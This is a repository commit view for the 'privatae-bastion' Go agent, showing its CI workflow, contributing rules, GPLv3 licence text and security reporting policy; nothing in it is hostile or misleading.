bastion 0.53.2

This commit is contained in:
Privatae
2026-10-20 04:42:14 +00:00
commit 628786f2cf
471 changed files with 159794 additions and 0 deletions
+124
View File
@@ -0,0 +1,124 @@
# The checks CONTRIBUTING.md asks for, run on every push to main and every
# pull request into main. It holds no secrets: the only credential is the job's
# own token, used to fetch the commit under test.
#
# Every Go step runs in the Go toolchain image deploy/build.sh builds releases
# with, pinned by digest, so CI and the release use the same compiler. The
# personal-data check is plain Python and runs in the job's own container.
# Each container is capped at 6 CPUs, and GOMAXPROCS says so too, so Go does
# not schedule more threads than the runner is allowed to use.
name: ci
on:
push:
branches: [main]
pull_request:
branches: [main]
env:
GO_IMAGE: golang@sha256:1ae0735f00daffa3aaf1363a5184c0d2dc55c78e3db4ec70241cdac97bf84b59
# The pull request's own head, or the pushed commit.
WANT: ${{ gitea.event.pull_request.head.sha || gitea.sha }}
jobs:
test:
runs-on: platform
steps:
- name: fetch the commit
run: |
set -euo pipefail
git init -q .
git -c http.extraHeader="Authorization: token ${{ gitea.token }}" \
fetch -q --depth=1 "${{ gitea.server_url }}/${{ gitea.repository }}.git" "$WANT"
git checkout -q --detach FETCH_HEAD
test "$(git rev-parse HEAD)" = "$WANT"
- name: gofmt, go vet on linux/darwin/windows, build, go test
# pdftotext, python3, setpriv and git are what the extract and peer-identity
# tests call; without them those tests fail rather than skip. Alpine's
# git has no http-backend (it is in git-daemon), which the forge-token
# test serves its repository with.
# The backup tests check this code against the age command itself: a
# pinned age release, its archive checked against the SHA-256 below,
# and PRIVATAE_REQUIRE_AGE makes those tests fail rather than skip if
# it is missing.
run: |
docker run --rm --cpus 6 -e GOMAXPROCS=6 -v "$PWD":/src -w /src/client-go \
-e GOTOOLCHAIN=local -e CGO_ENABLED=0 -e PRIVATAE_REQUIRE_AGE=1 "$GO_IMAGE" sh -euc '
apk add -q --no-cache poppler-utils python3 setpriv curl git git-daemon
case "$(uname -m)" in
x86_64) a=amd64; sum=cbe24006683f8eb669266162894b9a522a1af52f2665fbc63a4bb032ed26ac10 ;;
aarch64) a=arm64; sum=6b8dc4333c53a5a57c9e5834e3a48f92605d7154014cd07269ff3327db5d37f4 ;;
*) echo "no pinned age release for $(uname -m)"; exit 1 ;;
esac
curl -fsSL -o /tmp/age.tgz "https://github.com/FiloSottile/age/releases/download/v1.3.2/age-v1.3.2-linux-$a.tar.gz"
echo "$sum /tmp/age.tgz" | sha256sum -c -
tar -xzf /tmp/age.tgz -C /tmp age/age
export AGE_BIN=/tmp/age/age
"$AGE_BIN" --version
echo "== gofmt"; out="$(gofmt -l .)"; [ -z "$out" ] || { echo "$out"; exit 1; }
for os in linux darwin windows; do echo "== go vet ($os)"; GOOS=$os go vet ./...; done
echo "== go build"; go build -o /tmp/privatae-bastion .
echo "== go test"; go test -count=1 ./...'
- name: the same for deploy/release-sign
run: |
docker run --rm --cpus 6 -e GOMAXPROCS=6 -v "$PWD":/src -w /src/deploy/release-sign \
-e GOTOOLCHAIN=local -e CGO_ENABLED=0 "$GO_IMAGE" sh -euc '
out="$(gofmt -l .)"; [ -z "$out" ] || { echo "$out"; exit 1; }
for os in linux darwin windows; do GOOS=$os go vet ./...; done
go test -count=1 ./...'
personal-data:
runs-on: platform
steps:
- name: fetch the commit
run: |
set -euo pipefail
git init -q .
git -c http.extraHeader="Authorization: token ${{ gitea.token }}" \
fetch -q --depth=1 "${{ gitea.server_url }}/${{ gitea.repository }}.git" "$WANT"
git checkout -q --detach FETCH_HEAD
test "$(git rev-parse HEAD)" = "$WANT"
- name: no person's data in the tree
# Reads files, runs nothing from the tree. The term check needs the
# maintainers' key, which a CI job never holds, so here it is skipped and
# the run says so; the entity-id, provenance, email and phone checks run.
run: python3 scripts/test_no_personal_data.py
- name: no Host source file names in the tree
# The member repository publishes this tree as a release was built,
# and its release step refuses a path into the Host's Python
# (server/... or brain/... .py): this repo has no such files, so the
# path can only name another program's source. Checked here, before a
# merge, instead of after a release is built and signed. git grep exits
# 1 when nothing matches and above 1 when it could not search (no
# repository, a pattern it cannot read); only 1 passes.
run: |
rc=0
git grep -nIE 'server/[a-z_/]+\.py|brain/[a-z_/]+\.py' || rc=$?
case "$rc" in
1) ;;
0) echo "these lines name another program's source file; describe it instead" >&2
exit 1 ;;
*) echo "git grep could not search the tree (exit $rc), so it was not checked" >&2
exit 1 ;;
esac
fuzz:
needs: test
runs-on: platform
steps:
- name: fetch the commit
run: |
set -euo pipefail
git init -q .
git -c http.extraHeader="Authorization: token ${{ gitea.token }}" \
fetch -q --depth=1 "${{ gitea.server_url }}/${{ gitea.repository }}.git" "$WANT"
git checkout -q --detach FETCH_HEAD
test "$(git rev-parse HEAD)" = "$WANT"
- name: every fuzz target, 5 seconds each
# A short pass on every commit. Run deploy/fuzz.sh with its default of
# 20 seconds before changing a wall a host's input goes through.
run: |
docker run --rm --cpus 6 -e GOMAXPROCS=6 -v "$PWD":/src -w /src \
-e GOTOOLCHAIN=local -e CGO_ENABLED=0 "$GO_IMAGE" sh -euc '
apk add -q --no-cache bash
deploy/fuzz.sh 5'
+10
View File
@@ -0,0 +1,10 @@
# Build output
client-go/dist/
client-go/privatae-bastion
client-go/privatae-bastion.exe
# Editor / OS
.DS_Store
.vscode/
.idea/
*.swp
+1621
View File
File diff suppressed because it is too large Load Diff
+77
View File
@@ -0,0 +1,77 @@
# Contributing
Thank you for looking at the bastion. It is one Go package that ends up on
machines people own, so the bar is: nothing lands that widens what a host can
do on a machine without the person's grant and, where the design calls for it,
their approval on that machine.
## What you can do today
Sign-in on this forge is not reachable from the internet, so you cannot file
an issue or open a pull request here. You can read, clone, build and verify a
release, and fork under the GPL. Report a bug or a security problem by email
(see [SECURITY.md](SECURITY.md)).
## Checks a change has to pass
```sh
cd client-go
gofmt -l . # must print nothing
go vet ./...
CGO_ENABLED=0 go build .
go test ./...
```
The backup tests also check this code against the age command itself when
one is on PATH or named by `AGE_BIN`; CI installs a pinned age release and
sets `PRIVATAE_REQUIRE_AGE`, so there they fail rather than skip.
The test suite covers all three platforms' parsing and judgement logic from
one `go test` on any OS. Platform-specific decisions live in files with no
build tag; only the enumerators are tagged. Keep it that way: a new judgement
goes in an untagged file with a table test. Check it with
`GOOS=windows go vet ./...` and `GOOS=darwin go vet ./...` as well: `go build`
does not compile test files, so only vet sees a test that uses a Linux-only
name.
A change to a wall a host's input goes through (a path check, a grant or
family check, a signed record's parser) also runs the fuzz targets, and adds
one if the wall has none:
```sh
deploy/fuzz.sh # every client-go/fuzz_*_test.go target, 20 seconds each
```
An input the fuzzer finds is written under `client-go/testdata/fuzz/`; commit
it with the fix, and every later `go test` runs it.
## What a change has to respect
- **The bastion dials out.** No new listener on a non-loopback interface. A
new listener inside the tunnel is a capability family with a grant check.
- **Fixed argv.** A management op runs a fixed command line. A caller value
reaches a program only through a strict charset check and never as part of
a shell string.
- **No shell in file handlers.** Ops that touch the person's files are Go
handlers. The one that runs a program takes a tool name from a fixed table.
- **Approval on the machine.** Anything that writes to disk, downloads onto
it, or opens a root shell is gated by the enrolled second factor. The host
never handles the code.
- **Withhold, don't fake.** A platform with no implementation for a capability
must not advertise it. The host has to be able to tell quiet from blind.
- **Archive, never delete.** There is no delete op on shared stores.
## Style
- Comments explain why, in plain words. State the invariant and the failure it
prevents. No ticket numbers, no dates, no names.
- One package, files named by concern. A new concern gets its own file and
its own `_test.go`.
- Error text that a person will read is a full sentence saying what was
refused and what they can do about it.
## License
By contributing you agree that your contribution is licensed under the
GNU General Public License, version 3 or later, like the rest of the
repository.
+674
View File
@@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
+1516
View File
File diff suppressed because it is too large Load Diff
+121
View File
@@ -0,0 +1,121 @@
# Security policy
## Reporting a vulnerability
Please do not open a public issue for a security problem.
Email **info@privatae.ai** with:
- the version (`privatae-bastion version`) and platform,
- what you found and how to reproduce it,
- what an attacker could do with it.
You will get an acknowledgement within three business days. We will keep you
informed as the report is confirmed and fixed, and credit you in the release
notes if you wish.
## What is in scope
- This repository: the `privatae-bastion` binary and the installers under
`deploy/`.
- Anything that lets a host, another machine, or another user on the same
machine do more than the grant and the local approval allow: reading files
outside a granted store, deleting where only archiving is allowed, running a
program that is not in the fixed table, bypassing the second factor, opening
a listener that is not documented in the README's security model.
## What is out of scope
- The Privatae platform the bastion connects to. It is separate software with
its own reporting path; reports about it sent to the address above are
forwarded.
- Findings that require root on the machine already. The bastion's root ops
assume the machine's administrator is trusted.
## Supported versions
Only the current release, as published in the release manifest, receives
fixes. The bastion self-updates from that manifest, checks the manifest's
signature, and checks the digest of what it installs against it, so a fixed
release reaches every paired machine when its host directs the update.
## What you still have to trust
The bastion limits what your host can do on your machine. It cannot limit what
the bastion itself does, and the bastion comes from us. These are the places
where you are trusting us, and what stands in the way.
